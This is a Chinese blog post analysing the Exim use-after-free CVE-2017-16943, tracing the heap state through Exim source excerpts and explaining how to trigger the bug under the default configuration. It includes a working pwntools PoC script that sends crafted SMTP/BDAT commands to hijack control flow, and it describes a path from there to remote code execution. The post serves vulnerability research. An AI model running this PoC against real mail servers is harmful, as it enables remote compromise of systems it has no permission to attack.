CVE-2017-16943 Exim UAF漏洞分析--后续

上一篇分析出来后,经过@orange的提点,得知了meh公布的PoC是需要特殊配置才能触发,所以我上一篇分析文章最后的结论应该改成,在默认配置情况下,meh提供的PoC无法成功触发uaf漏洞。之后我又对为啥修改了配置后能触发和默认情况下如何触发漏洞进行了研究

重新复现漏洞

比上一篇分析中复现的步骤,只需要多一步,注释了/usr/exim/configure文件中的control = dkim_disable_verify

然后调整下poc的padding,就可以成功触发UAF漏洞,控制rip

分析特殊配置下的触发流程

在代码中有一个变量是dkim_disable_verify, 在设置后会变成true,所以注释掉的情况下,就为默认值false, 然后再看看receive.c中的代码:

1
2
3
4
5
6
7
BOOL
receive_msg(BOOL extract_recip)
{
......
1733if (smtp_input && !smtp_batched_input && !dkim_disable_verify)
1734: dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED);
1735#endif

进入了dkim_exim_verify_init函数,之后的大致流程:

1
2
3
4
5
dkim_exim_verify_init -> pdkim_init_verify -> ctx->linebuf = store_get(PDKIM_MAX_BODY_LINE_LEN);
bdat_getc -> smtp_getc -> smtp_refill -> dkim_exim_verify_feed -> pdkim_feed -> string_catn -> string_get -> store_get(0x64)
#define PDKIM_MAX_BODY_LINE_LEN 16384 //0x4000

在上一篇文章中说过了,无法成功触发uaf漏洞的原因是,被free的堆处于堆顶,释放后就和top chunk合并了。

在注释了dkim的配置后,在dkim_exim_verify_init 函数的流程中,执行了一个store_get 函数,申请了一个0x4000大小的堆,然后在dkim_exim_verify_init 函数和dkim_exim_verify_feed 函数中,都有如下的代码:

1
2
3
4
5
store_pool = POOL_PERM;
......
store_pool = dkim_verify_oldpool;
---------------
enum { POOL_MAIN, POOL_PERM, POOL_SEARCH };

store_pool全局变量被修改为了1,之前说过了,exim自己实现了一套堆管理,当store_pool不同时,相当于对堆进行了隔离,不会影响receive_msg 函数中使用堆管理时的current_block这类的堆管理全局变量

当dkim相关的代码执行结束后,还把store_pool恢复回去了

因为申请了一个0x4000大小的堆,大于0x2000,所以申请之后yield_length全局变量的值变为了0,导致了之后store_get(0x64)再次申请了一块堆,所以有了两块堆放在了heap1的上面,释放heap1后,heap1被放入了unsortbin,成功触发了uaf漏洞,造成crash。(之前的文章中都有写到)

默认配置情况下复现漏洞

在特殊配置情况下复现了漏洞后,又进行了如果在默认配置情况下触发漏洞的研究。

在@explorer大佬的教导下,发现了一种在默认情况下触发漏洞的情况。

其实触发的关键点,就是想办法在heap1上面再malloc一个堆,现在我们从头来开始分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// daemon.c
137 static void
138 handle_smtp_call(int *listen_sockets, int listen_socket_count,
139 int accept_socket, struct sockaddr *accepted)
140 {
......
348 pid = fork();
352 if (pid == 0)
353 {
......
504 if ((rc = smtp_setup_msg()) > 0)
505 {
506 BOOL ok = receive_msg(FALSE);
......

首先,当有新连接进来的时候,fork一个子进程,然后进入上面代码中的那个分支,smtp_setup_msg函数是用来接收命令的函数,我们先发一堆无效的命令过去(padding),控制yield_length的值小于0x100,目的上一篇文章说过了,因为命令无效,流程再一次进入了smtp_setup_msg

这时候我们发送一个命令BDAT 16356

然后有几个比较重要的操作:

1
2
3
4
5
6
7
5085 if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1)
5093 chunking_data_left = chunking_datasize;
5100 lwr_receive_getc = receive_getc;
5101 lwr_receive_getbuf = receive_getbuf;
5102 lwr_receive_ungetc = receive_ungetc;
5104 receive_getc = bdat_getc;
5105 receive_ungetc = bdat_ungetc;

首先是把输入的16356赋值给chunking_data_left

然后把receive_getc换成bdat_getc函数

再做完这些的操作后,进入了receive_msg函数,按照上篇文章的流程差不多,显示申请了一个0x100的heap1

然后进入receive_getc=bdat_getc读取数据:

1
2
3
4
5
6
534 int
535 bdat_getc(unsigned lim)
536 {
......
546 if (chunking_data_left > 0)
547 return lwr_receive_getc(chunking_data_left--);

lwr_receive_getc=smtp_getc通过该函数获取16356个字符串

首先,我们发送16352个a作为padding,然后执行了下面这流程:

  • store_extend return 0 -> store_get -> store_release

先申请了一个0x4010的heap2,然后释放了长度为0x2010的heap1

然后发送:\r\n,进入下面的代码分支:

1
2
3
4
5
6
7
8
1902 if (ch == '\r')
1903 {
1904 ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
1905 if (ch == '\n')
1906 {
1907 if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = TRUE;
1908 goto EOL;
1909 }

跳到了EOL,最重要的是最后几行代码:

1
2
3
4
5
6
7
2215 header_size = 256;
2216 next = store_get(sizeof(header_line));
2217 next->text = store_get(header_size);
2218 ptr = 0;
2219 had_zero = 0;
2220 prevlines_length = 0;
2221 } /* Continue, starting to read the next header */

把一些变量重新进行了初始化,因为之前因为padding执行了store_get(0x4000),所以这个时候yield_length=0 这个时候再次调用store_get将会申请一个0x2000大小堆,从unsortbin中发现heap1大小正好合适,所以这个时候得到的就是heap1,在heap1的顶上有一个之前next->text使用,大小0x4010,未释放的堆。

之后流程的原理其实跟之前的差不多,PoC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
r = remote('localhost', 25)
r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<[email protected]>")
r.recvline()
r.sendline("RCPT TO:<[email protected]>")
r.recvline()
# raw_input()
r.sendline('a'*0x1300+'\x7f')
# raw_input()
r.recvuntil('command')
r.sendline('BDAT 16356')
r.sendline("a"*16352+':\r')
r.sendline('aBDAT \x7f')
s = 'a'*6 + p64(0xabcdef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
#raw_input()
r.send('\n')

exp

根据该CVE作者发的文章,得知是利用文件IO的fflush来控制第一个参数,然后通过堆喷和内存枚举来来伪造vtable,最后跳转到expand_string函数来执行命令,正好我最近也在研究ctf中的_IO_FILE的相关利用(之后应该会写几篇这方面相关的blog),然后实现了RCE,结果图如下:

exim1

exim2

参考链接

  1. https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/
文章目录
  1. 1. 重新复现漏洞
    1. 1.1. 分析特殊配置下的触发流程
    2. 1.2. 默认配置情况下复现漏洞
    3. 1.3. exp
  2. 2. 参考链接